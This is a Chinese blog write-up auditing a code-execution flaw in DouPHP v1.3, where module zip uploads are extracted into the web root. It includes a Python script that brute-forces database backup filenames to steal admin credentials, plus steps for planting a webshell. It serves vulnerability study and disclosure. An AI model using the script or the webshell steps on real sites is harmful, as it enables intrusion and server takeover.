【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备
DouPHP官网:http://www.douco.com/
程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002.rar
测试网站首页:
0x01 代码分析
1、文件位置: /admin/module.php 第64-77行中:
- if ($rec == 'install') {
- // 判断是否有上传文件
- if ($_FILES['zipfile']['name'] == '') {
- $dou->dou_msg($_LANG['module_file_empty'], 'module.php?rec=local');
- } else {
- $zipfile_name = preg_replace('/.zip/i', '', $_FILES['zipfile']['name']);
- }
- // CSRF防御令牌验证
- 10. $firewall->check_token($_POST['token']);
- 11.
- 12. if ($dou_upload->upload_image('zipfile', $zipfile_name))
- 13. $dou->dou_header('cloud.php?rec=handle&type=module&mode=local&cloud_id=' . $zipfile_name);
14. }
这段函数中对上传的文件名进行判断,然后成功上传文件,跳转到cloud.php?rec=handle&type=module&mode=local&cloud_id=,跟进这个模块,看如何处理的
2、文件位置: /admin/cloud.php 第35-49行中,对上面获取的参数进行处理,调用handle函数,跟进去看看:
- if ($rec == 'handle') {
- $smarty->assign('ur_here', $_LANG['cloud_handle']);
- // 验证并获取合法的ID
- $cloud_id = $check->is_extend_id($_REQUEST['cloud_id']) ? $_REQUEST['cloud_id'] : '';
- $type = $_REQUEST['type'];
- $mode = $check->is_letter($_REQUEST['mode']) ? $_REQUEST['mode'] : '';
- $smarty->assign('type', $_LANG['cloud_' . $type]);
- 10. $smarty->assign('cloud_id', $cloud_id);
- 11. $smarty->assign('mode', $mode);
- 12.
- 13. $smarty->display('cloud.htm');
- 14. $GLOBALS['dou_cloud']->handle($type, $cloud_id, $mode);
15. }
3、文件位置/admin/include/cloud.class.php,第40-103行中,对handle函数进行部分摘录,前面几步STEP基本没问题,我们来看一下STEP4,调用了install函数,跟进去看看:
- function handle($type, $cloud_id, $mode = '') {
- // 基础数据
- $item_zip = $this->cache_dir . $cloud_id . '.zip'; // 扩展压缩包
- $item_dir = $this->cache_dir . $cloud_id; // 扩展目录
- '''
- // STEP1 安装条件验证
- // STEP2 下载压缩包,如果是本地安装则直接显示正在解压缩
- // STEP3 解压缩
- ''''
- 10. // STEP4 安装模块
- 11. if ($wrong = $this->install($type, $cloud_id, $mode)) {
- 12. $this->dou_flush($wrong);
- 13. exit;
- 14. } else {
- 15. $text = $mode == 'update' ? $GLOBALS['_LANG']['cloud_update_0'] : $GLOBALS['_LANG']['cloud_install_0'];
- 16. $success[] = $text . $cloud_id . $GLOBALS['_LANG']['cloud_install_1'];
- 17. $success[] = $this->msg_success($type, $cloud_id);
- 18.
- 19. $this->dou_flush($success);
- 20. }
- 21. }
4、文件位置/admin/include/cloud.class.php,第115-133行:
- function install($type, $cloud_id, $mode) {
- global $prefix;
- // 基础数据
- $item_zip = $this->cache_dir . $cloud_id . '.zip'; // 模块压缩包
- $item_dir = $this->cache_dir . $cloud_id; // 模块目录
- $sql_install = $this->root_dir . "data/backup/$cloud_id.sql"; // 安装用的SQL文件
- $sql_update = $this->root_dir . "data/backup/$cloud_id" . "_update.sql"; // 升级用的SQL文件
- 10. // STEP1 拷贝模块文件
- 11. if ($type == 'theme') {
- 12. $this->dir_action($item_dir, $this->root_dir . 'theme/' . $cloud_id);
- 13. } elseif ($type == 'mobile') {
- 14. $this->dir_action($item_dir, $this->root_dir . M_PATH . '/theme/' . $cloud_id);
- 15. } elseif ($type == 'plugin') {
- 16. $this->dir_action($item_dir, $this->root_dir . 'include/plugin/' . $cloud_id);
- 17. } else {
- 18. $this->dir_action($item_dir, $this->root_dir);
- 19. }
最后的安装模块过程中,首页就是拷贝模块文件,因$type=module,只能进入最后一个条件,也就是复制解压缩目录下的文件到网站根目录下,导致程序在实现上存在代码执行漏洞。
综上,对所上传的zip文件名只进行简单判断,然后解压缩、安装,当攻击者提供带入恶意代码的脚本,打包为zip文件上传,将被复制到网站根目录,通过该漏洞写入webshell,执行代码,控制服务器权限。
0x02 漏洞利用
A、 如何登陆后台
1、在DouPHP中备份功能代码摘录如下:
- // 根据时间生成备份文件名
- $file_name = 'D' . date('Ymd') . 'T' . date('His');
- $sql_file_name = $file_name . '.sql';
2、那么形成的文件名格式如:D20180118T101433.sql,而且URL访问并没有限制,备份目录是可以访问的,存在敏感信息泄露的风险。
假如管理员做了数据库备份,那么就可以爆破数据库备份文件获取敏感信息。
通过编写Python脚本来尝试爆破,附Python脚本如下:
- #! /usr/bin/env python
- # _*_ coding:utf-8 _*_
- import time
- import requests
- import threadpool
- date= "2018-01-18 10:00:00"
- datelist=[]
10. def gettime():
- 11. timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
- 12. time1= int(time.mktime(timeArray))
- 13. time2=int(time.time())
- 14. for i in range(time1,time2):
- 15. time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
- 16. datelist.append(time3)
- 17. return datelist
18. def req(str):
- 19. try:
- 20. str1,str2=str.split()
- 21. date1="D"+str1+"T"+str2
- 22. url="http://127.0.0.1/data/backup/"+date1+".sql"
- 23. s=requests.get(url,timeout=5)
- 24. if s.status_code==200:
- 25. print u"数据库备份文件爆破成功:"
- 26. print url
- 27.
- 28. except:
- 29. pass
- 30.
31. if __name__ == '__main__':
- 32. list=gettime()
- 33. pool = threadpool.ThreadPool(1000)
- 34. requ = threadpool.makeRequests(req,list)
- 35. [pool.putRequest(req) for req in requ]
- 36. pool.wait()
- 37.
3、测试截图:
4、通过URL访问数据库备份文件,获取管理员账号密码。当然了,也可以尝试通过弱口令登录后台。
B、代码执行漏洞利用
1、将一句话打包为zip文件,在安装本地模块,点击现在安装,即可成功上传,
2、程序自动解压jian.zip到网站根目录下,生成jian.php
3、通过菜刀连接,成功控制网站服务器
0x03 修复建议
1、对上传的zip文件内容进行检测,对模块文件内容格式进行严格限制。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】DouPHP_v1.3代码执行漏洞分析的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
- 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
随机推荐
- 宏晶STC单片机使用STC-ISP串口烧录失败的原因与解决方法汇总
官方网址: http://www.stcisp.com/q_and_a_stcisp.html 个人小结 芯片:STC12C5A60S2 封装:LQFP-48 晶振大小:SD22.1184M 最小系统 ...
- Java设计模式(18)策略模式(Strategy模式)
Strategy是属于设计模式中 对象行为型模式,主要是定义一系列的算法,把这些算法一个个封装成单独的类. Stratrgy应用比较广泛,比如,公司经营业务变化图,可能有两种实现方式,一个是线条曲线, ...
- 为什么c++中,有时可以用类名直接访问非静态成员函数?
正规的C++语言标准目前(截止到C++14)应该还不支持这种调用方法.目前微软似乎在它的VC++中推行一种叫做C++/CLI的标准,有可能会支持这种调用,如果一定要用这种调用方法的话,还应该用VS20 ...
- 4、QT分析之调试跟踪系统
原文地址:http://blog.163.com/net_worm/blog/static/127702419201002004518944/ 在我们前面的分析中,经常看到qWarning()和qDe ...
- Oracle 11g 数据库 shutdown 后立即执行 startup mount 报错的解决办法
最新文章:Virson's Blog 今天在配置Goldengate时Capture进程提示未开启归档日志,然后立即用sys用户登录orcl数据库,然后执行了“shutdown immediate”命 ...
- Linux 下如何处理包含空格和特殊字符的文件名
Linux 下如何处理包含空格和特殊字符的文件名 作者: Avishek Kumar 译者: LCTT zpl1025 | 2015-07-08 07:47 评论: 12 收藏: 9 分享: 1 ...
- python进行数据分析---python3卡方
数学公式思路: 代码: 使用典型的pandas进行的逻辑操作 同时也指针对了pandas https://github.com/renfanzi/python3_Variance_Chisquare. ...
- 【WPF】鼠标拖拽功能DragOver和Drop
在Winform里面实现拖入功能只要设置控件AllowDrop=true; 然后实现方法 //拖入 private void txtInputPath_DragOver(object sender, ...
- C语言中的控制语句: 判断、环循等;
列举这一部分的目的就是注意它的写法,尤其是 分号 : 的位置: 1. if-else if else 语句: if (表达式1) 语句1: else if (表达式2) 语句2: else 语句3: ...
- 纯CSS3实现牛奶般剔透的3D按钮特效
今天我们要来看一款非常特别的纯CSS3 3D按钮,它的外观酷似纯白剔透的牛奶,点击按钮的时候还会出现一种很柔和的弹力效果.按钮按下时,按钮会轻轻的弹动一下,非常逼真.本文我们在观赏演示的同时,也将源代 ...